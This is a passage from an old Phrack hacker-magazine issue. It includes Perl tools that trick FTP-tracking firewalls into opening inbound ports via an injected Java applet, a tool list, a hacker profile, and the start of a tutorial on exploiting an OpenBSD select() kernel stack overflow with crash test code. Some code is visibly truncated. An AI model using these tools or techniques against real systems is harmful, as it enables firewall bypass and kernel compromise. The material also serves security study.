Message System) *CDPD wireless data *Authentication Center *Remote access provisioning This concludes the introduction to LAES. This being only an introduction, I've left out allot of details like protocol information. However, if you are interested it learning more about LAES I would suggest reading the TIA standard J-STD-025A. I hope you learned a little bit more about the surveillance capabilities of LEAs. If you have any questions feel free to contact me. Email address: see above. --[ 5 - Java tears down the Firewall Recently there has been much hype about various insecurities in firewalls which support tracking of FTP sessions. They could be tricked into thinking someone was opening an FTP session by using a second TCP stack for example. I would point you to CERT-URL for complete discussion. There have been other techniques discussed such as embedding some evil tags in HTML files which makes the browser opening connections a firewall could interpret as FTP session. Consider the following net: [ Company ] ---- [ firewall ] --- [ some router ] --- [ WEB ] Someone from 'Company' is browsing the web and has to pass his packets across some router that is not under control by Company but by attacker. Very common scenario no? A few tools have been compiled to circumvent such setup. I would even say, as soon as you enable FTP tracking you are lost. More than one way ends in Rome. Let me explain the small tools in short. html-redirect: Attacker installs this on some router and sets up redirect rule to port 8888. class-inject: Attacker starts this with eftepe.class. html-redirect will redirect the HTML requests to this mini-httpd. It forces browser inside Company which is shielded by firewall to load the Java applet. This applet simulates active FTP session to some router and it is allowed so because security manager sees some router as origin of eftepe.class. Firewall will then open port 7350 inbound so you can connect from some router:20 to Company:7350. ftpd: Attacker must run this on some router in order to simulate FTP session. createclass: script to create the correct java code which is using apropriate IP (of some router) and port (on Company) then Attacker could also sit on WEB (i.e. phrack.org :) and embed evil java applets. So take care because X runs on port 6000. :-) It is really that simple, and its not even worth an own article, thats why you find it here as a add-on. #!/usr/bin/perl -w # Puts a classfile into remote browser # use IO::Socket; sub usage { print "Usage: $0 \n\n"; exit; } my $classfile = shift || usage(); my $class; my $classlen = (stat($classfile))[7]; open I, "<$classfile" or die $!; read I, $class, $classlen; close I; my $sock = new IO::Socket::INET->new(Listen => 10, LocalPort => 8080, Reuse => 1) or die $!; my $conn; for (;;) { next unless $conn = $sock->accept(); if (fork() > 0) { $conn->close(); next; } my $request = <$conn>; if ($request =~ /$classfile/) { my $classcontent = "HTTP/1.0 200 OK\r\n". "Server: Apache/1.3.6 (Unix)\r\n". "Content-Length: $classlen\r\n". "Content-Type: application/octet-stream\r\n\r\n".$class; print $conn $classcontent; print "Injected to ", $conn->peerhost(), "\n"; } else { print $conn "". "". "\r\n\r\n"; } $conn->close(); exit(0); } #!/usr/bin/perl -w $ENV{"PATH"} = $ENV{"PATH"}."/usr/lib/java/bin"; print "Creating apropriate Java class-file for opeing port > 1023\n"; print "Enter IP to connect to on port 21 (e.g. '127.0.0.1'):"; my $ip = ; chop($ip); print "Enter port to open:"; my $port = ; chop($port); my $p1 = int $port/256; my $p2 = $port%256; open O, ">eftepe.java" or die $!; print O< #!/usr/bin/perl -w use IO::Socket; my $sock = new IO::Socket::INET->new(Listen => 10, LocalPort => 21, Reuse => 1) or die $!; my $conn; for (;;) { $conn = $sock->accept(); if (fork() > 0) { $conn->close(); next; } print $conn "220 ready\r\n"; <$conn>; # user print $conn "331 Password please\r\n"; <$conn>; # pass print $conn "230 Login successful\r\n"; <$conn>; #port print $conn "200 PORT command successful.\r\n"; sleep(36); $conn->close(); exit 0; } #!/usr/bin/perl -w # Simple HTTP Redirector # # iptables -A PREROUTING -t nat -p tcp --dport 80 -j REDIRECT --to-port 8888 use IO::Socket; sub usage { print "Usage: $0 \n". "\t\tIP|Host -- IP or Host to redirect HTML reuests to\n\n"; exit; } my $r = shift || usage(); my $redir = "HTTP/1.0 301 Moved Permanently\r\n". "Location: http://$r:8080\r\n\r\n"; my $sock = new IO::Socket::INET->new(Listen => 10, LocalPort => 8888, Reuse => 1) or die $!; my $conn; for (;;) { next unless $conn = $sock->accept(); if (fork() > 0) { $conn->close(); next; } my $request = <$conn>; print $conn "$redir"; $conn->close(); exit(0); } #!/usr/bin/perl -w use IO::Socket; sub usage { print "Usage: $0 \r\n"; exit 0; } my $a = shift || usage(); my $b = shift || usage(); my $conn = IO::Socket::INET->new(PeerAddr => $a, PeerPort => $b, LocalPort => 20, Type => SOCK_STREAM, Proto => 'tcp') or die $!; print $conn "GOTCHA\r\n"; $conn->close(); #!/bin/sh # sample FTP session tracked firewall for 2.4 linux kernels # modprobe ip_conntrack_ftp iptables -F iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT iptables -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT #iptables -A INPUT -p tcp --syn -j LOG iptables -A INPUT -p tcp --syn -j DROP |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x04 of 0x10 |=--------------------=[ T O O L Z A R M O R Y ]=----------------------=| |=-----------------------------------------------------------------------=| |=---------=[ packetstorm ]=-------=| This new section, Phrack Toolz Armory, is dedicated to tool annoucements. We will showcast selected tools of relevance to the computer underground which have been released recently. The tools for #60 have been selected in teamwork by the Packet Storm staff and Phrack staff. Drop us a mail if you develop something that you think is worth of being mentioned here. 1 - nmap 3.1 Statistics Patch 2 - thc-rut 3 - Openwall GNU/*/Linux (Owl) 1.0 4 - Stealth Kernel Patch 5 - Memfetch 6 - Lcrzoex ----[ 1 - NMAP 3.1 Statistics Patch URL : http://packetstormsecurity.org/UNIX/nmap/nmap-3.10ALPHA4_statistics-1.diff Author : vitek[at]ixsecurity.com Comment : The Nmap 3.10ALFA Statistics Patch adds the -c switch which guesses how much longer the scan will take, shows how many ports have been tested, resent, and the ports per second rate. Useful for scanning firewalled hosts. ----[ 2 - thc-rut URL : http://www.thehackerschoice.com/thc-rut Author : anonymous[at]segfault.net Comment : RUT (aRe yoU There, pronouced as 'root') is your first knife on foreign network. It gathers informations from local and remote networks. It offers a wide range of network discovery utilities like arp lookup on an IP range, spoofed DHCP request, RARP, BOOTP, ICMP-ping, ICMP address mask request, OS fingerprinting, high-speed host discovery, ... THC-RUT comes with a OS host Fingerprinter which determines the remote OS by open/closed port characteristics, banner matching and nmap fingerprinting techniques (T1, tcpoptions). The fingerprinter has been developerd to quickly (10mins) categorize hosts on a Class B network. Information sources are (amoung others) SNMP replies, telnetd (NVT) negotiation options, generic Banner Matching, HTTP-Server version, DCE request and tcp options. It is compatible to the nmap-os-fingerprints database and comes in addition to this with his own perl regex capable fingerprinting database (thcrut-os-fingerprints). ----[ 3 - Openwall GNU/*/Linux (Owl) 1.0 (Released 2002-10-13) URL : http://www.openwall.com/Owl Author : Solar Designer and other hackers. Comment : Openwall Linux is the Hacker's choice platform. The security has been defined by people who know what they are doing. Owl comes without any useless services running by default, no RPM dependencies headache, full featured environment for developers, a large number of usefull tools and a BSD-port-like update mechanism. It's for people who prefer vi over click/drag-and-drop sickness to configure the system. Openwall GNU/*/Linux (Owl) includes a pre-built copy of John the Ripper password cracker ready for use without requiring another OS (life system!) and without having to install on a hard disk (although that is supported). The CD-booted system is fully functional, you may even let it go multi-user with virtual consoles and remote shell access. John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, and BeOS. Its primary purpose is to detect weak Unix passwords, but a number of other hash types are supported aswell. This is probably the most secure linux distribution out there. ----[ 4 - Stealth Kernel Patch URL : http://packetstormsecurity.org/UNIX/patches/linux-2.2.22-stealth.diff.gz Author : Sean Trifero Comment : The Stealth Kernel Patch for Linux v2.2.22 makes the linux kernel discard the packets that many OS detection tools use to query the TCP/IP stack. Includes logging of the dropped query packets and packets with bogus flags. Does a very good job of confusing nmap and queso. ----[ 5 - Memfetch URL : http://packetstormsecurity.org/linux/security/memfetch.tgz Author : Michal Zalewski Comment : Memfetch dumps the memory of a program without disrupting its operation, either immediately or on the nearest fault condition (such as SIGSEGV). It can be used to examine suspicious or misbehaving processes on your system, verify that processes are what they claim to be, and examine faulty applications using your favorite data viewer so that you are not tied to the inferior data inspection capabilities in your debugger. ----[ 6 - Lcrzoex URL : http://www.laurentconstantin.com/en/lcrzoex/ http://www.laurentconstantin.com/en/rzobox/ (front end) Author : Laurent Constantin Comment : Lcrzoex contains over 400 tools to test an Ethernet/IP network. It runs under Linux, Windows, FreeBSD, OpenBSD and Solaris. Features: - sniff/spoof/replay - syslog/ftp/dns/http/telnet clients - ping/traceroute - web spider - tcp/web backdoor - data conversion |=[ EOF ]=---------------------------------------------------------------=| phrack.org:~# cat .bash_history ==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x05 of 0x10 |=--------------=[ P R O P H I L E O N H O R I Z O N ]=--------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Phrack Staff ]=-----------------------------=| |=---=[ Specification Handle: horizon AKA: humble, john Handle origin: It sounded neat. catch him: I'm very easy to find. Age of your body: mid 20s Produced in: USA Height & Weight: 5'11" ~165 lbs. Urlz: Nope Computers: A couple of decent x86 boxes and a lot of older stuff.. Member of: CostCo Projects: Currently, stuff for work, and a few personal things that really aren't that interesting. |=---=[ Favorite things Women: Creativity, intelligence, a sense of style. Cars: German Foods: Indian, Thai, Korean, Greek, Japanese, Lean Pockets Alcohol: Helles, Redbull & Vodka Music: Screeching Weasel, Fugazi, Stretch Armstrong, Bad Religion, some electronic Movies: Big Lebowski, Office Space, Austin Powers, Memento, Pi Books & Authors: Sigh.. I wish I read more these days. Urls: Can't think of any... I like: Engaging conversation. Sincerity and conviction. Solving difficult problems. Mr. Show. Gummi Bears. I dislike: Unwarranted arrogance. Unwarranted Gummi Bears. |=---=[ Life in 3 sentences I've never been normal. I've always felt a sense of purpose. I've tried to be generous. |=---=[ Hacker Life PHRACKSTAFF: You have found quite a lot of bugs in the past and developed exploit code for them. Some vulnerabilities required new creative exploitation concepts which were not known at that time. What drives you into Challenging the exploitation of complicated bugs and what methods do you use? Well, my motivations have definitely changed over time. I can come up with several ancillary reasons that have driven me at different times during my life, and they include both the selfish and the altruistic. But, I think it really comes down to a compulsion to figure all this stuff out. As far as methods, I try to be somewhat systematic in my approach. I budget a good portion of time for just reading through the program, trying to get a feel for its architecture and the mindset and techniques of its authors. This also seems to help prime my subconscious. I like to start at the lower layers of a program or system and look for any kind of potential unexpected behavior that could percolate upwards. I will document each function and brainstorm any potential problems I see with it. I will occasionally take a break from documentation, and do the considerably more fun work of tracing back some of my theories to see if they pan out. As far as writing exploits, I generally just try to reduce or eliminate the number of things that need to be guessed. |=---=[ Passions | What makes you tick I'm definitely obsessed with computers. One of my original goals in learning to program as a kid was to develop games, so I've always been kind of passively interested in that. I'm also interested in artificial intelligence. I've been doing Wing Chun kung fu for about two years now, and I find that to be really rewarding. I spend a decent bit of my time thinking. I like to read lay-person oriented overviews of various academic disciplines. I'd really like to learn more about biology and neuroscience. |=---=[ Which research have you done or which one gave you the most fun? I think I've had the most fun when collaborating with others. |=---=[ Memorable Experiences Hanging out with sygma, saad, wordsmith, shegget, and all my old irc friends. Getting into trouble with colonwq. Long, not entirely coherent, chats with rc.local. :> The weekend drinking/hacking/coding sessions at neon's place. boilermakers. Romania. Coding with xaphan. Almost getting fired from my university job for hacking Microsoft, and then getting let off the hook when one of their security officers called my boss. Helping joey__ write his first exploit, and then not understanding how it worked when he had finished. Working on various stuff with JoC, cham, module, so1o, zorkeres, binf, and the rest of the r9 guys. Hanging out with Vacuum and RFP before leaving the US. The time I spent living in Germany. Working with plaguez and Thomas, two absurdly brilliant guys. Living with Howard and Sondee.. eating at the Citta. CCC Camp - Meeting TESO, THC, and many others. linux deathmatch. Watching people like duke and scut (and many others) get really good, and hoping that I somehow helped. Accidentally crashing gatekeeper. Hanging out in the adm channel. The always interesting discussions with str and anti. Racing with K2 to write exploits as Sun advisories came out. The Firewall-1 speech with Dug and Thomas. Finally getting my degree. My european tour with dice. HAL. Meeting silvio. Getting smashed in the basement of a bar in Poland with the LSD guys. Chilling with Scrippie and Dvorvak and the members of a Dutch death metal band. Going to a rave in Miami with JJ and ending up in the keys the day before a hurricane. Watching my little brothers grow up. Tag team coding/auditing with dice. Working for cool people - Mike, Jim, Pat. German/reversing lessons from Halvar. sms's from srpnsrt. Defcon - meeting digit, cheez, charise, zip, gobbles, i1l, cain, arakis, caddis, ryan, riley, and so many others. The fun times I've had in Chicago. Greg's couch. OFP with Paul and Sergey. The bachelor party with monti and MJ. Meeting the esteemed Sarlo. |=---=[ What's your architecture of choice? OS of choice? I tend to use what I'm comfortable with or whatever seems appropriate at the moment. The three machines that I use most of the time are currently running XP, Linux, and OpenBSD. |=---=[ Quotes "Jesus Christ John McDonald!" "odd" "So, basically, what you are saying is that we should try to find the reactors." "Hey, I just work here..." |=---=[ Open Interview Q: When did you start playing with computers? I got a c64 when I was 6. Q: When did you had your first contact to the 'scene'? 1997 or so. Q: When did you for your first time connect to the Internet? 1993. I had a part time job in high school programming for a satellite research center that had Internet access. From what I recall, I mainly played around on usenet and ftp sites. Q: Let's talk a little bit about free research and Copyright. What's your opinion about "Copyright on exploits"? Well, I'm not a lawyer, and I haven't really looked into it. I think that people should be entitled to do what they want with their work, and that legal protections are there for a reason. However, I've got no idea what copyrighting an exploit will actually afford you legally. Q: If you could turn the clock backward, what would you do different in your young life ? That's a tough one. The Internet has suffered a fair bit for the sake of my ego. I think I would have handled certain things with more discretion if I'd had a little more perspective. |=---=[ One word comments Give a one word comment to the following topics: Digital Millennium Copyright Act (DMCA): oceanliner KIMBLE (the wannabe-hacker) : hoogedlyboogedly ADM : fun NAI : work THE SCENE : which? Companies buying exploits from hackers : dunno IRC : idle CERT : maligned Full Disclosure Policy : careful |=---=[ Would you work for the government/military? Why or why not? As much as it suprises me to say it, I don't really have an ideological opposition to working for my government. I think the combination of getting a little bit older, spending some time living abroad, and the recent events in my country has made me more appreciative of certain things. I think it is safe to say I would do it if I believed I was doing something positive and I thought it was necessary. Otherwise, I'd avoid it because it would just make life more complicated. |=---=[ Please tell our audience a worst case scenario into what the scene might turn into. I guess I could prognosticate about it becoming factionalized, petty, cruel, insecure, and paranoid, but who would I be kidding? |=---=[ And if everything works out fine? What's the best case scenario you can imagine? As long as there is a place for new people who show promise, I think things will be cool. |=---=[ Any suggestions/comments/flames to the scene and/or specific people? Think for yourself. |=---=[ Shoutouts & Greetings Hi everyone :> |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x06 of 0x10 |=----------=[ Smashing The Kernel Stack For Fun And Profit ]=----------=| |=----------------------------------------------------------------------=| |=--------------=[ Sinan "noir" Eren ]=--------------=| DISCLAIMER: This article presented here is bound to no organization or company. It is the author's contrubition to the hacker community at large. The research and development in this article is done by the author with NO SUPPORT from a commercial organization or company. No organization or company should be held responsible or credited for this article other than the author himself. --[ Contents 1 - Introduction 2 - The vulnerability: OpenBSD select() syscall overflow 3 - Obstacles encountered in exploitation 3.1 - Overcoming the large copyin() problem 3.1.1 - mprotect() 4 life! 3.2 - Payload storage problem 3.3 - Return to user land problem 4 - Crafting the exploit 4.1 - Breakpoints & distance Calculation 4.2 - Return address overwrite & execution redirection 5 - How to gather offsets & symbol addresses 5.1 - sysctl() syscall 5.2 - sidt technique & _kernel_text search 5.3 - _db_lookup() technique 5.4 - /usr/bin/nm, kvm_open(), nlist() 5.5 - %ebp fixup 6 - Payload/shellcode creation 6.1 - What to achieve 6.2 - The payload 6.2.1 - p_cred & u_cred 6.2.2 - chroot breaking 6.2.3 - securelevel 6.3 - Get root & escape jail 7 - Conclusions 8 - Greetings 9 - References 10 - Code --[ 1 - Introduction This article is about recent exposures of many kernel level vulnerabilities and advances in their exploitation which leads to trusted (oops safe) and robust exploits. We will focus on 2 recent vulnerabilities in the OpenBSD kernel as our case studies. Out of the these we will mainly concentrate on exploitation of the select() system call buffer overflow. The setitimer() arbitrary memory overwrite vulnerability will be explained in the code section of this article (as inline comments, so as not to repeat what we have already covered whilst exploring the select() buffer overflow). This paper should not be viewed as an exploit construction tutorial, my goal is, rather, to explore and demonstrate generic ways to exploit stack overflows and signed/unsigned vulnerabilities in kernel space. Case studies will be used to demonstrate these techniques, and reusable *BSD "kernel level shellcodes" -- with many cool features! -- will be presented. There has been related work done by [ESA] and [LSD-PL], which may complement this article. --[ 2 - The Vulnerability: OpenBSD select() syscall overflow sys_select(p, v, retval) register struct proc *p; void *v; register_t *retval; { register struct sys_select_args /* { syscallarg(int) nd; syscallarg(fd_set *) in; syscallarg(fd_set *) ou; syscallarg(fd_set *) ex; syscallarg(struct timeval *) tv; } */ *uap = v; fd_set bits[6], *pibits[3], *pobits[3]; struct timeval atv; int s, ncoll, error = 0, timo; u_int ni; [1] if (SCARG(uap, nd) > p->p_fd->fd_nfiles) { /* forgiving; slightly wrong */ SCARG(uap, nd) = p->p_fd->fd_nfiles; } [2] ni = howmany(SCARG(uap, nd), NFDBITS) * sizeof(fd_mask); [3] if (SCARG(uap, nd) > FD_SETSIZE) { ... } ... #define getbits(name, x) \ [4] if (SCARG(uap, name) && (error = copyin((caddr_t)SCARG(uap, name), \ (caddr_t)pibits[x], ni))) \ goto done; [5] getbits(in, 0); getbits(ou, 1); getbits(ex, 2); #undef getbits ... To make some sense out of the code above we need to decipher the SCARG macro, which is extensively used in the OpenBSD kernel syscall handling routines. Basically, SCARG() is a macro that retrieves the members of the 'struct sys_XXX_args' structures. sys/systm.h:114 ... #if BYTE_ORDER == BIG_ENDIAN #define SCARG(p, k) ((p)->k.be.datum) /* get arg from args pointer */ #elif BYTE_ORDER == LITTLE_ENDIAN #define SCARG(p, k) ((p)->k.le.datum) /* get arg from args pointer */ sys/syscallarg.h:14 ... #define syscallarg(x) \ union { \ register_t pad; \ struct { x datum; } le; \ struct { \ int8_t pad[ (sizeof (register_t) < sizeof (x)) \ ? 0 \ : sizeof (register_t) - sizeof (x)]; \ x datum; \ } be; \ } Access to structure members is performed via SCARG() in order to preserve alignment along CPU register size boundaries, so that memory accesses will be faster and more efficient. In order to make use of the SCARG() macro, the declarations need to be done as follows (example for select() syscall arguments): sys/syscallarg.h:404 ... struct sys_select_args { [6] syscallarg(int) nd; syscallarg(fd_set *) in; syscallarg(fd_set *) ou; syscallarg(fd_set *) ex; syscallarg(struct timeval *) tv; }; The vulnerability can be described as an insufficient check on the 'nd' argument [6], which is used as the length parameter for userland to kernel land copy operations. Whilst there is a check [1] on the 'nd' argument (nd represents the highest numbered descriptor plus one, in any of the fd_sets), which is checked against the p->p_fd->fd_nfiles (the number of open descriptors that the process is holding), this check is inadequate -- 'nd' is declared as signed [6], so it can be negative, and therefore will pass the greater-than check [1]. Then 'nd' is put through a macro [2], in order to calculate an unsigned integer, 'ni', which will eventually be used as the the length argument for the copyin operation. howmany() [2] is defined as follows (sys/param.h line 175): #define howmany(x, y) (((x)+((y)-1))/(y)) Expansion of line [2] will look like as follows: sys/types.h:157, 169 #define NBBY 8 /* number of bits in a byte */ typedef int32_t fd_mask; #define NFDBITS (sizeof(fd_mask) * NBBY) /* bits per mask */ ... ni = ((nd + (NFDBITS-1)) / NFDBITS) * sizeof(fd_mask); ni = ((nd + (32 - 1)) / 32) * 4 Calculation of 'ni' is followed by another check on the 'nd' argument [3]. This check is also passed, since OpenBSD developers consistently forget about the signedness checks on the 'nd' argument. Check [3] was done to see if the space allocated on the stack is sufficient for the following copyin operations, and, if not, then sufficient heap space will be allocated. Given the inadequacy of the signed check, we'll pass check [3] (> FD_SETSIZE), and will continue using stack space. This will make our life much easier, given that stack overflows are much more trivially exploited than heap overflows. (Hopefully, I'll write a follow-up paper that will demonstrate kernel-land heap overflows in the future). Finally, the getbits() [4,5] macro is defined and called in order to retrieve user supplied fd_sets (readfds, writefds, exceptfds -- these arrays contain the descriptors to be tested for 'ready for reading', ready for writing' or 'have an exceptional condition pending'). For exploitation purposes we don't really care about the layout of the fd_sets -- they can be treated as any simple char buffer aiming to overflow its boundaries and overwrite the saved ebp and saved eip. With this simple test code, we can reproduce the overflow: #include #include int main(void) { char *buf; buf = (char *) malloc(1024); memset(buf, 0x41, 1024); select(0x80000000, (fd_set *) buf, NULL, NULL, NULL); } What happens is; system call number 93 (SYS_select) is dispatched to handler sys_select() by the syscall() function, with all user land supplied arguments bundled into a sys_select_args structure. 'nd', being 0x80000000 (the smallest negative number for signed 32bit) has gone through the size check [1] and, later, the howmany() macro [2] calculates unsigned integer 'ni' as 0x10000000. The getbits() macro [5] is then called with the address of buf (user land, heap) which expands to the copyin(buf, kernel_stack, 0x10000000) operation. copyin() starts to copy the userland buffer to the kernel stack, a long at a time (0x10000000/4 times). However, this copy operation won't ever fully succeed, as the kernel will run out of per-process stack trying to copy such a huge buffer from userland -- and will crash on an out of bounds write operation. --[ 3 - Obstacles encountered in exploitation - copyin(uaddr, kaddr, big_number) problem First and the most obvious problem is to take control of the size argument 'ni' passed to the copyin operation, since this number is derived from the user supplied 'nd' argument which, must be negative, we'll never be able to construct a reasonably "big" number. Actually the "smallest" positive number we can construct is 0x10000000. As we have already find out that, this number will cause us to hit the end of kernel stack and kernel will panic. This is our first obstacle and we'll overcome it by exploring how copyin() works in the following section. - payload storage problem This is a typical problem for every type of exploit (user or kernel land). Determining where the most appropriate place is to store the payload/shellcode. This problem is rather simple to overcome in kernel land exploits and we'll talk about the proper solution. - clean return to user land problem Another problem arises after we overwrite the saved return address and gain control, at that point we can be real imaginative on the payload, but we'll run into the trouble of how to return back to user land and be able to enjoy our newly altered kernel space! --[ 3.1 - Overcoming The Large copyin() Problem To be able to solve this problem, we need to read through the copyin() and trap() functions and understand their internals. We shall start by understanding copyin() user to kernel copy primitive, my comments will be inlined: sys/arch/i386/i386/locore.s:955 ENTRY(copyin) pushl %esi pushl %edi Save %esi, %edi . movl _C_LABEL(curpcb),%eax Move the current process control block address (_curpcb) into %eax . _C_LABEL() is a simple macro that will add an underscore sign to the beginning of the symbol name. See sys/arch/i386/include/asm.h:66 The process control block is a per-process kernel structure that holds the current execution state of a process and differs based on machine architecture. It consists of: stack pointer, program counter, general- purpose registers, memory management registers and some other architecture depended members such as per process LDT's (i386) and so on. The *BSD kernel extends the PCB with software related entries, such as the "copyin/out fault recovery" handler (pcb_onfault). Each process control block is stored and referenced through the user structure. See sys/user.h:61 and [4.4 BSD]. [1] pushl $0 Push a ZERO on the stack; this will make sense at the epilog or the _copy_fault function, which has the matching 'popl' instruction. [2] movl $_C_LABEL(copy_fault),PCB_ONFAULT(%eax) Move _copy_fault's entry address into the process control block's pcb_onfault member. This simply installs a special fault handler for 'protection', 'segment not present' and 'alignment' faults. copyin() installs its own fault handler, _copy_fault, we'll get back to this when exploring the trap() code, since processor faults are handled there. movl 16(%esp),%esi movl 20(%esp),%edi movl 24(%esp),%eax Move the incoming first, second and third arguments to %esi, %edi, %eax respectively. %esi being the user land buffer, %edi the destination kernel buffer and %eax the size. /* * We check that the end of the destination buffer is not past the end * of the user's address space. If it's not, then we only need to * check that each page is readable, and the CPU will do that for us. */ movl %esi,%edx addl %eax,%edx This addition operation is to verify if the user land address plus the size (%eax) is in legal user land address space. The user land address is moved to %edx and then added to the size (ubuf + size), which will point to the supposed end of the user land buffer. jc _C_LABEL(copy_fault) This is a smart check to see if previous addition operation has an integer over-wrap issue. e.g: the user land address being 0x0ded and size being 0xffffffff -- this unsigned arithmetic operation will overlap and the result is going to be 0x0dec. By design, the CPU will set the carry flag on such condition and 'jc' jump short on carry flag set instruction will take us to _copy_fault function which do some clean up and return EFAULT . cmpl $VM_MAXUSER_ADDRESS,%edx ja _C_LABEL(copy_fault) Followed by the range check: whether or not the user land address plus size is in valid user land address space range. A comparison is done against the VM_MAXUSER_ADDRESS constant, which is the end of the user land stack (0xdfbfe000 through obsd 2.6-3.1). If the sum (%edx) is above VM_MAXUSER_ADDRESS 'ja' (jump above) instruction will make a short jump to _copy_fault , eventually leading to the termination of the copy operation. 3: /* bcopy(%esi, %edi, %eax); */ cld Clear the direction flag, DF = 0, means that the copy operation is going to increment the index registers '%esi and %edi' . movl %eax,%ecx shrl $2,%ecx rep movsl Do the copy operation long at a time, from %esi to %edi . movb %al,%cl andb $3,%cl rep movsb Copy the remaining (size % 4) data, byte at a time. movl _C_LABEL(curpcb),%edx popl PCB_ONFAULT(%edx) Move the current process control block address into %edx, and then pop the first value on the stack into the pcb_onfault member (ZERO [1] pushed earlier). This means, the special fault handler is cleared from the process. popl %edi popl %esi Restore the old values of %edi, %esi . xorl %eax,%eax ret Do a return with a return value of zero: Success . ENTRY(copy_fault) In the case of faults and failures in checks at copyin() this is where we drop. movl _C_LABEL(curpcb),%edx popl PCB_ONFAULT(%edx) Move the current process control block address into %edx and then pop the first value on the stack into the pcb_onfault member (ZERO [1] pushed earlier). This clears the special fault handler from the process. popl %edi popl %esi Restore the old values of %edi, %esi . movl $EFAULT,%eax ret Do a return with a return value of EFAULT (14): Failure . After this long exploration of the copyin() function we'll just take a brief look at trap() and check how pcb_onfault is implemented. trap() is the main interface to exception, fault and trap handling of the BSD kernel. trap.h:51:#define T_PROTFLT 4 /* protection fault */ trap.h:63:#define T_SEGNPFLT 16 /* segment not present fault */ trap.h:54:#define T_ALIGNFLT 7 /* alignment fault */ sys/arch/i386/i386/trap.c:174 void trap(frame) struct trapframe frame; { register struct proc *p = curproc; int type = frame.tf_trapno; ... switch (type) { ... line: 269 case T_PROTFLT: case T_SEGNPFLT: case T_ALIGNFLT: /* Check for copyin/copyout fault. */ [1] if (p && p->p_addr) { [2] pcb = &p->p_addr->u_pcb; [3] if (pcb->pcb_onfault != 0) { copyfault: [4] frame.tf_eip = (int)pcb->pcb_onfault; return; } } ... Faults such as 'protection', 'segment not present' and 'alignment' are handled all together, through a switch statement in trap() code. The appropriate case for the mentioned faults in trap() , initially checks for the existence of the process structure and the user structure [1] then loads the process control block from the user structure [2], check if the pcb_onfault is set [3] if its set, if so, the instruction pointer (%eip) of the control block is overwritten with the value of this special fault handler [4]. After the process is context switched and given the cpu, it will start running from the new handler code in kernel space. In the case of copyin() , execution will be redirected to _copy_fault . Armoured with all this knowledge, we can now provide a solution for the 'big size copyin()' problem. --[ 3.1.1 - mprotect() 4 life! x86 cpu memory operations such like trying to read from write only (-w-) page or trying to write to a read only (r--) or no access (---) page and some other combinations will throw out a protection fault which will be handled by trap() code as shown above. This basic functionality will allow us to write as many bytes into kernel space as we wish, no matter how big the size value actually is. As seen above, the trap() code checks for pcb_onfault handler for protection faults and redirects execution to it. In order to stop copying from user land to kernel land, we will need to turn off the read protection bit of any certain page following the overflow vector and achieve our goal. ------------- | rwx | --> Dynamically allocated PAGE_SIZEd | | user land memory | | |xxxxxxxxxxx| --> Overflow vector (fd_set array) ------------- (saved %ebp, %eip overwrite values) | -w- | | | | | --> Dynamically allocated PAGE_SIZEd | | consecutive memory, PROT_WRITE ------------- The way to control the overflow as described in the diagram is to allocate 2 PAGE_SIZEd memory chunks and fill the end of the first page with overflow data (exploitation vector) and then turn off the read protection bit of the following page. At this stage we also run into another problem (albeit rather simple to overcome). PAGE_SIZE is 4096 in x86 and 4096 bytes of overflowed stack will crash the kernel at an earlier stage (before we take control). Actually for this specific overflow saved %ebp and saved %eip is 192 and 196 bytes away from the overflowed buffer, respectively. So, what we'll do is allocate 2 pages and pass the fd_set pointer as 'second_page - 200'. Then copyin() will start copying just 200 bytes before the end of the readable page and will hit the non readable page right after. An expection will be thrown and trap() will handle the fault as explained, 'protection fault' handler will check pcb_onfault and set the instruction pointer of the current PCB to the address of the handler, in this case _copy_fault. _copy_fault will return EFAULT. If we go back to the sys_select() code getbits() macro [4] will check for the return value and will go to 'done' label on any value other than success (0). At this point sys_select() set the error code (errno) and return to syscall() (syscall dispatcher). Here is the test code to verify the mprotect technique: #include #include #include #include int main(void) { char *buf; u_long pgsz = sysconf(_SC_PAGESIZE); buf = (char *) malloc(pgsz * 3); /* asking for 3 pages, just to be safe */ if(!buf) { perror("malloc"); exit(-1); } memset(buf, 0x41, pgsz*3); /* 0x41414141 ;) */ buf = (char *) (((u_long) buf & ~pgsz) + pgsz); /* actually, we'r using the 2. and 3. pages*/ if(mprotect((char *) ((u_long) buf + pgsz), (size_t) pgsz, PROT_WRITE) < 0) { perror("mprotect"); exit(-1); } /* we set the 3rd page as WRITE only, * anything other than READ is fine */ select(0x80000000, (fd_set *) ((u_long) buf + pgsz - 200), NULL, NULL, NULL); } - The ddb> kernel debugger To be able to debug the kernel we will need to set up the ddb kernel debugger. Type the following commands to make sure ddb is set and don't forget that, you should have some sort of console access to be able to debug the kernel. (Physical access, console cable or those funky network console devices...) bash-2.05a# sysctl -w ddb.panic=1 ddb.panic: 1 -> 1 bash-2.05a# sysctl -w ddb.console=1 ddb.console: 1 -> 1 The first sysctl command configures ddb to kick in on kernel panics. The latter will set up ddb accessible from console at any given time, with the ESC+CTRL+ALT key combination. There is no way to explore kernel vulnerabilities without many panic()s getting in the way, so lets get dirty. bash-2.05a# gcc -o test2 test2.c bash-2.05a# sync bash-2.05a# sync bash-2.05a# uname -a OpenBSD kernfu 3.1 GENERIC#59 i386 bash-2.05a# ./test2 uvm_fault(0xe4536c6c, 0x41414000, 0, 1) -> e kernel: page fault trap, code=0 Stopped at 0x41414141:uvm_fault(0xe4536c6c, 0x41414000, 0, 1) -> e ... ddb> trace ... _kdb_trap(6,0,e462af08,1) at _kdb_trap+0xc1 _trap() at _trap+0x1b0 --- trap (number 6) --- 0x41414141: ddb> What all this means is that a page fault trap was taken from for address 0x41414141 and since this is an invalid address for kernel land, it was not able to be paged in (such like every illegal address reference) which lead to a panic(). This means we are on the right track and indeed overwrite the %eip since the page 0x41414000 was attempted to loaded into memory. Type following for a clean reboot. ddb> boot sync .... Lets verify that we gain the control by overwriting the %eip - here is how to set the appropriate breakpoints: Hit CTRL+ALT+ESC: ddb> x/i _sys_select,130 _sys_select: pushl 